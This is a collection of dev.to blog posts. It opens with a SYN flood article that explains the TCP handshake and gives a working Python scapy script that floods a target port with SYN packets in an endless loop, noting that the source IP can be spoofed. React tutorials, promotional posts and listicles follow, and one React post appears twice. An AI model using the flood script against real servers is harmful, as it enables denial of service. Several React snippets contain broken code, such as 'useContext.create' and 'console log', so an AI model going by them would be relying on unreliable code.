teleren/devto huggingface dataset:
SYN Flood Attack
Tags: cybersecurity, security, hacktoberfest, hacking
Published: 2023-12-03 21:52:19


Despite the passage of time, some forms of attacks do not change, only their form is slightly modified. One of the simplest attacks that can be used in various ways is the SYN flood attack. In this regard, let's zoom in a bit on its image.

## What is a SYN flood attack?

To illustrate this, let's recall how the TCP protocol works.

```
      TCP A                                                TCP B

  1.  CLOSED                                               LISTEN
  2.  SYN-SENT    --> <SEQ=100><CTL=SYN>               --> SYN-RECEIVED
  3.  ESTABLISHED <-- <SEQ=300><ACK=101><CTL=SYN,ACK>  <-- SYN-RECEIVED
  4.  ESTABLISHED --> <SEQ=101><ACK=301><CTL=ACK>       --> ESTABLISHED
  5.  ESTABLISHED --> <SEQ=101><ACK=301><CTL=ACK><DATA> --> ESTABLISHED
```

What we need to know about this TCP communication is that the client (TCP A) sends a request to establish a connection, sending a `SYN` message to the server (TCP B). To this the server responds with a `SYN-ACK` message, and the client again sends a message — this time `ACK`. In this way, a connection is established. Here we also get to the heart of the matter.

In a SYN flood attack, the attacker sends `SYN` packets one by one (it also often happens to different network ports). In this way, the server responds to each connection attempt with a `SYN-ACK` packet, with the ultimate goal of overloading and blocking the server's services.

## Construction of the script

To begin with, let's look at a simple script prepared in Python.

```
from scapy.all import *

target_ip = "127.0.0.1"
target_port = 80

ip = IP(dst = target_ip)
tcp = TCP(sport = RandShort(), dport = target_port, flags = "S")

raw = Raw(b"X"*1024)
p = ip / tcp / raw
send(p, loop = 1, verbose = 0)
```

First, we initialize a variable holding the ip and port of the attacked machine. Then we create a packet whose destination address is the address of the attacked server (`IP(dst = target_ip)`). At this point it is worth mentioning that if we wanted to spoof the IP address of the opening connection, we can specify the optional parameter `src` to in the creation of an instance of the `IP` class. In the following lines (`TCP(sport = RandShort(), dport = target_port, flags = "S")`) we create a `SYN` packet with a random source port and a destination port as `target_port`. It remains to create data (variable `raw`), create layers (`ip / tcp / raw`) and send the constructed packet in a loop. At best, the server will stop responding.

## Sources

[https://pl.wikipedia.org/wiki/SYN_flood](https://www.google.com/search?client=firefox-b-d&q=flood+attack)
<https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/>
React useContext to Manage State
Tags: react, statemanagement, usecontext, reacthooks
Published: 2023-12-03 21:44:57

I struggled with useContext before I could wrap my head around it. It turns out it's really a simple and elegant way to persist data in a react application.
To create a context we need to import from react.
`import {useContext} from 'react';`
Then create an instance of the context.
`export const UserContext = useContext.create({})`
Then create a wrapper and export it because we'll need to wrap the context around all our components.
`
const [name, setName]=(null)
export function ContextProvider({children}){
return (
<UserContext.Provider value={name,setName}>
{children}</UserContext.Provider>
)
}`
This makes it possible to provide for any of our routes, the value inside our context. So wrapping the ContextProvider in top level component is key. We can do so in the root file.  `<ContextProvider><App/></ContextProvider>`
We can also wrap the context around our routes. `<ContextProvider><Routes><Route path={'/'} element={<Home/>}/></Routes></ContextProvider>`
For instance when a user logs in we can set the name of the user inside the context therefore making it accessible from any component that might require it.
`
import {useContext,useState} from react';
const {UserContext} = './UserContext'
const [username, setUsername] = useState('')
const {setName} = useContext(UserContext);
setName(username)
`
Let say inside our header component we need to find out the name of the currently logged user. We can do so by tapping into the context and reading the name that's currently stored.
 ```
import {useContext,useState} from react';
const {UserContext} = './UserContext'
const Header = ()=> {
const {name} = useContext(UserContext)

return (
<>
{name && (
<p></p>
)}

</>
)
}
```
As you can see the useContext hook is really powerful and comes handy in small to medium size applications where you don't need redux or other state management tools to manage complex state. Thanks all for checking this out. Happy coding 🧑‍💻
Learn Resend in 2 hours — Full course 4k 2023
Tags: webdev, javascript, programming, tutorial
Published: 2023-12-03 21:27:33

{% embed https://youtu.be/P88-oZT64aE?si=VW8ZGaEPCljg3VMF %}

Hello everyone,

I recently created a course about Resend, the new platform that allows you to send emails directly from your application. You can find the complete 2-hour course on my YouTube channel, and if you’d like to show your appreciation, I kindly ask you to subscribe.

Email sending is a complex topic. Many products have attempted to tackle this issue, but none have truly solved the complexity faced by users. It can be said that Resend, the newcomer in 2023, has made a significant impact by launching a simple, effective, and easy-to-understand product.

Resend’s competition has often focused on constantly adding numerous features. Sometimes, these platforms completely shift their original purpose — the sending of emails — to become all-in-one marketing Swiss Army knives — website creation, customized design templates for social media, and more. Resend refocuses on the core question: how to send emails efficiently?

The platform created by Zeno Rocha and his team aims to get to the essentials — no frills, no unnecessary multi-features, and a very low learning curve for users. This is the experience I’ve had over the past three months, and I’m delighted to share everything I’ve learned in this 2-hour course.

Guillaume Duhan
Adventofcode 🎄 : Day 3 - State and Props
Tags: beginners, react, codenewbie, programming
Published: 2023-12-03 21:16:33

Happy 3rd of December! Our revision today are states and props. Let's begin...

**What are State and Props in React?**

In React, props serve as a way to transmit data or properties from one component to others, facilitating effective communication between different parts of your application. On the other hand, the state embodies real-time data exclusive to the confines of a specific component, offering a dynamic and self-contained source of information.

States and props serve as fundamental cornerstones in React, playing a central role in shaping the framework's core functionality. Virtually every aspect of React development relies on the utilisation of these two concepts, making them essential elements in making robust and responsive user interfaces. 

So, a state is used for mutable data within a component, while props are used for passing data from a parent to a child component. 

**_Definitions:_**

**Parent Component:** A parent component is one that contains and manages another component, referred to as its child. It sits higher in the component tree.

**Child Component:** A child component is nested within a parent component. It exists at a lower level in the component tree.


I hope that this short revision has helped!
In the meantime....KEEP CODING!!
Making Sense of Stock Trends: A Simple Guide to Graphical Stock Data
Published: 2023-12-03 21:04:26

 
Introduction:

In the world of money matters, quick decisions are key. Graphical stock data, shown in charts and graphs, is like a superhero for investors and money experts. In this blog, we'll talk about why graphical stock data is super important, check out different types, and see how it helps people make smart choices with their money.

The Magic of Pictures:

Graphical stock data turns tricky numbers into easy pictures. Instead of staring at a bunch of confusing digits, charts and graphs show patterns, trends, and special points super fast. Whether you're a money whiz or just starting, these pictures make it way easier to understand what's happening in the money world.

Kinds of Graphical Stock Data:

Candlestick Charts:
These show how prices go up and down. The "candles" make it easy to spot trends and changes in what people think about the market.
Line Charts:
Simple and cool, line charts connect closing prices over time. They're great for looking at how things are doing over a long time.
Bar Charts:
Bars go up and down to show the range of prices. This helps see how much the prices jump around.
Technical Indicators:
Fancy tools like moving averages and RSI are shown in graphs. They help traders figure out when to buy or sell.
Volume Analysis:
Graphs with trading volume (how many stocks are being bought and sold) help tell if a trend is strong or might change.
Why Graphical Stock Data Matters:

Smart Choices:
Graphs help people make good decisions about buying or selling stocks. They show patterns that can guide smart moves.
Staying Safe:
People can use graphs to see when it's time to stop losing money. This helps keep things safe when playing the stock market game.
Looking at Portfolios:
Investors can see how well their money is doing over time. This helps decide which things are bringing in money and which are not.
Checking the Mood:
Graphs can tell if most people are feeling good or bad about the market. Knowing this helps traders make better guesses.
Conclusion:

In the fast world of money, graphical stock data is like a guide, showing the way for investors and traders. Whether it's spotting patterns in candlesticks, reading volume trends, or using fancy tools, pictures make decisions easier. As technology gets better, more cool tools will likely show up, making graphical stock data even more awesome. So, don't shy away from charts and graphs—embrace them, understand them, and go confidently into the world of money decisions
stop email harvesting
Tags: webdev, web3, webscraping, spam
Published: 2023-12-03 20:55:32


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cayho10tmooh7oxedupj.png) 


[hide email address from spammers](https://veilmail.io) with VeilMail.io is a good idea for several reasons, as it helps to enhance online security, privacy, and the overall user experience. Here are some key reasons why it is beneficial to prevent email harvesting:

1. **Privacy Protection:**
   - Email addresses are sensitive pieces of personal information. Email harvesting exposes individuals to privacy risks, as harvested email addresses can be used for spam, phishing, or other malicious activities.

2. **Security Concerns:**
   - Harvested email addresses can be exploited for various cyber attacks, such as phishing attacks, where attackers try to trick individuals into revealing sensitive information by posing as a trustworthy entity. Preventing email harvesting helps reduce the risk of such security threats.

3. **Reducing Spam:**
   - Email harvesting is often associated with the creation of spam mailing lists. By preventing email harvesting, there is a decrease in the volume of spam emails that users receive, contributing to a cleaner and more efficient email communication environment.

4. **Protection Against Scams:**
   - Email harvesting is a common method used by scammers to collect potential targets. By stopping email harvesting, individuals are less likely to fall victim to scams that may involve financial fraud or other harmful activities.

5. **Enhancing Email Service Quality:**
   - Email providers and services can improve the quality of their services by preventing email harvesting. This ensures that legitimate users have a better experience with fewer unwanted emails, leading to increased user satisfaction.

6. **Compliance with Regulations:**
   - In many jurisdictions, there are regulations in place that require organizations to protect user data, including email addresses. Taking steps to prevent email harvesting helps organizations comply with data protection and privacy laws.

7. **Preserving Email Reputation:**
   - Email marketers and legitimate organizations can protect their email reputation by avoiding the use of harvested email lists. Sending emails to users who have not consented can result in a poor sender reputation, affecting email deliverability and potentially leading to blacklisting.

8. **Maintaining Trust:**
   - Preventing email harvesting helps build and maintain trust between users and online services. Users are more likely to trust platforms that prioritize their privacy and security, creating a positive online environment.

In summary, stopping email harvesting is a proactive measure to protect individuals' privacy, enhance online security, reduce spam, and create a safer and more trustworthy online environment.

[Stopping email harvesting](https://veilmail.io) with VeilMail.io 

Make sure it a human and not a email address harvester and spammer looking at your email address
Construí um jogo de Jokenpô com WebSockets
Tags: braziliandevs, javascript, node, webdev
Published: 2023-12-03 20:52:05

Esses dias, postei naquela rede que as pessoas inventam cargos e termos um teste que eu fiz com WebSockets: Um jogo de Jokenpô.

Projeto bobo? Sim, mas se é de pequenas doses de dopamina que os viciados em Tiktok se movem, eu também posso.

A ideia era só brincar com WS mesmo, mas eu cheguei a me empolgar tanto que quando percebi, estava fazendo protótipos para um app mobile que eu tenho CERTEZA que eu nunca iria fazer.

Então, decidi largar de mão e só fiz uma UI simples com html que só tem 3 botões e um quadro para ver o placar e a opção selecionada pelo oponente.

A parte que mais gostei de fazer nele foi o Criador de Partidas:
Quando você se conecta, ele te coloca numa fila aguardando outro jogador para poder montar uma "sala" onde vai começar uma partida de Melhor de Três.

Queria dar uma evoluída nele eventualmente, mas tô sentindo que não vou 😅 (pelo menos, não tão cedo).

Bem, sintam-se livres a dar uma olhada e contribuir, se quiserem:
https://github.com/rafa-coelho/jokenpo

Eu hospedei ele no render também (pode demorar pra startar o pod deles):
https://jokenpo.racoelho.com.br/


Segue uns prints dele:

![Searching Room](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/q6xfi0v6nbgmrayzjgk1.png)

![Playing](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zs16qgcghozkxhrkhq2j.png)


![Match Result](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gw9ok0r3u6xmr02hgcnl.png)
ChatGPT Keyword Prompts used by Mohamed Soufan to Rank Higher on Google
Tags: chatgpt, keyword, seo, promptengineering
Published: 2023-12-03 20:36:00

Hello Dev.to Community! I'm thrilled to unveil my latest article, featuring the [8 ChatGPT Keyword Prompts I rely on daily to supercharge my article rankings.](https://soufan.me/search-engine-optimization/boosting-google-ranking-with-chatgpt-keyword-prompts-tips-by-mohamed-soufan/)

## The prompts are:

```
1. Suggest SEO-friendly focus key-phrases for my article [article title]
2. Find 5 powerful SEO keywords for [topic]
3. Find Long-Tail Keywords for [topic]
4. Generate Keywords for [description here]
5. Generate Short FAQs for [Service/Product title]
6. Classify search intents for the following keyphrases in a table:
[Key-phrases here, each one on a line]
7. Write a meta description of 140 to 160 characters with focus key-phrase [key-phrase here]
8. Add focus key-phrase "[focus key-phrase]" to my introduction:
[Introduction]
```
---------------------

For a deeper dive into this topic, don't forget to check out the complete article over at [soufan.me](https://soufan.me/search-engine-optimization/boosting-google-ranking-with-chatgpt-keyword-prompts-tips-by-mohamed-soufan/).
React useEffect Hook
Tags: react, javascript, reacthooks, useeffecthoo
Published: 2023-12-03 20:34:18


A react hook that runs after component's first render. It has to be called inside a component function like all react hooks.
```
import {useEffect} from 'react';

useEffect(()=> {
console.log('useeffect running')
},[])
```
The useEffect is useful when we want to perform an action when the state of our application changes. For example when getting user input. The state change will trigger the useEffect hook to rerun. The state acts as a dependency.
```import {useState} from 'react';

const [userInput, setUserInput]= useState('')

useEffect(()=> {
console.log('useeffect running')
}, [userInput])
```
Finally the useEffect allows us to run cleanup actions. The clean up function runs right after the dependencies change but before the useEffect is triggered by the new dependency.

```
useEffect(()=> {
console.log('useeffect running')

return ()=> {
console log('cleanup function')
}
})
```
Together with other react hooks, useEffect hook is a powerful tool to build react applications.
React useEffect Hook
Tags: react, javascript, reacthooks, useeffecthook
Published: 2023-12-03 20:33:31


A react hook that runs after component's first render. It has to be called inside a component function like all react hooks.
```
import {useEffect} from 'react';

useEffect(()=> {
console.log('useeffect running')
},[])
```
The useEffect is useful when we want to perform an action when the state of our application changes. For example when getting user input. The state change will trigger the useEffect hook to rerun. The state acts as a dependency.
```import {useState} from 'react';

const [userInput, setUserInput]= useState('')

useEffect(()=> {
console.log('useeffect running')
}, [userInput])
```
Finally the useEffect allows us to run cleanup actions. The clean up function runs right after the dependencies change but before the useEffect is triggered by the new dependency.

```
useEffect(()=> {
console.log('useeffect running')

return ()=> {
console log('cleanup function')
}
})
```
Together with other react hooks, useEffect hook is a powerful tool to build react applications.
Desenvolvendo para Todos: A Importância da Acessibilidade em Sites
Published: 2023-12-03 20:02:11

Olá Dev.to! Hoje, quero destacar um tema crucial que muitas vezes é negligenciado no mundo do desenvolvimento web: acessibilidade. À medida que buscamos criar experiências online mais inclusivas, é fundamental garantir que nossos sites sejam acessíveis a todos, independentemente de suas habilidades ou limitações.

**_Acessibilidade é Prioridade:_**

A acessibilidade na web não é apenas uma questão de conformidade com normas ou regulamentos, mas sim uma responsabilidade ética. Ao desenvolvermos sites acessíveis, estamos contribuindo para a criação de um ambiente online mais equitativo, onde todos têm a oportunidade de participar plenamente.

**Princípios Fundamentais:**

Ao adotar práticas de acessibilidade, seguimos princípios fundamentais que melhoram a experiência do usuário para um público mais amplo. Esses princípios incluem:

1. **Perceptibilidade:** Certifique-se de que todas as informações e componentes da interface do usuário sejam apresentados de maneira clara e fácil de perceber.

2. **Operabilidade:** Tornar a navegação e a interação possíveis para todos os usuários, independentemente do dispositivo ou assistência que estejam utilizando.

3. **Compreensibilidade:** 
Garantir que a informação e a operação do usuário sejam compreensíveis, promovendo uma experiência intuitiva.

4. **Robustez:** Desenvolver sites que sejam compatíveis com diferentes tecnologias e dispositivos, garantindo sua durabilidade ao longo do tempo.

**Benefícios Tangíveis:**

Além de ser uma prática ética, a acessibilidade também traz benefícios tangíveis para os desenvolvedores. Sites acessíveis geralmente têm um melhor desempenho em mecanismos de busca, alcançam uma audiência mais ampla e proporcionam uma experiência de usuário mais satisfatória.

**Ferramentas e Recursos:**

Felizmente, existem muitas ferramentas e recursos disponíveis para ajudar os desenvolvedores a integrarem a acessibilidade em seus projetos. Desde validadores automáticos até guias práticos, há uma variedade de suporte disponível para facilitar o processo.

**Conclusão:**

Em um mundo onde a inclusão é cada vez mais valorizada, a acessibilidade em sites é mais do que uma prática recomendada - é uma necessidade. Como desenvolvedores, temos o poder e a responsabilidade de criar experiências online que sejam acessíveis a todos. Vamos trabalhar juntos para construir um futuro digital mais inclusivo e equitativo. Junte-se à conversa e compartilhe suas experiências e dicas sobre como você está abraçando a acessibilidade em seus projetos! 🌐💻 #AcessibilidadeWeb #DesenvolvimentoInclusivo #DevToCommunity
Which are the best websites for teens and college students to earn money online?
Tags: earnings, teenearning, teen, mrmijanjoy
Published: 2023-12-03 19:47:48

Keep in mind that it's essential to be cautious and ensure that the platforms are reputable. Here are some websites that are generally considered safe and provide various ways for teens and college students to make money online:
1. Swagbucks: Swagbucks allows users to earn money by taking surveys, watching videos, playing games, and shopping online. Points earned can be converted into gift cards or PayPal cash.
2. Tutor dot com: If you excel in a particular subject, you can offer your tutoring services on tutor dot com. This platform connects students with tutors for online sessions.
3. Amazon Mechanical Turk: Mechanical Turk is a platform by Amazon where you can complete small tasks, known as Human Intelligence Tasks (HITs), for payment.
4. Survey Junkie: Survey Junkie is a platform that pays users for taking surveys. It's a straightforward way to earn some extra money in your free time.
5. TaskRabbit: TaskRabbit connects people who need help with various tasks with individuals who can perform those tasks. This includes tasks like running errands, cleaning, and more.
6. Teachable: If you have expertise in a particular subject, you can create and sell online courses on Teachable.
7. Sell on Etsy: If you're good at crafting or creating unique products, you can sell them on Etsy. It's a popular platform for handmade and vintage items.
Always prioritize your safety and privacy when engaging in online activities.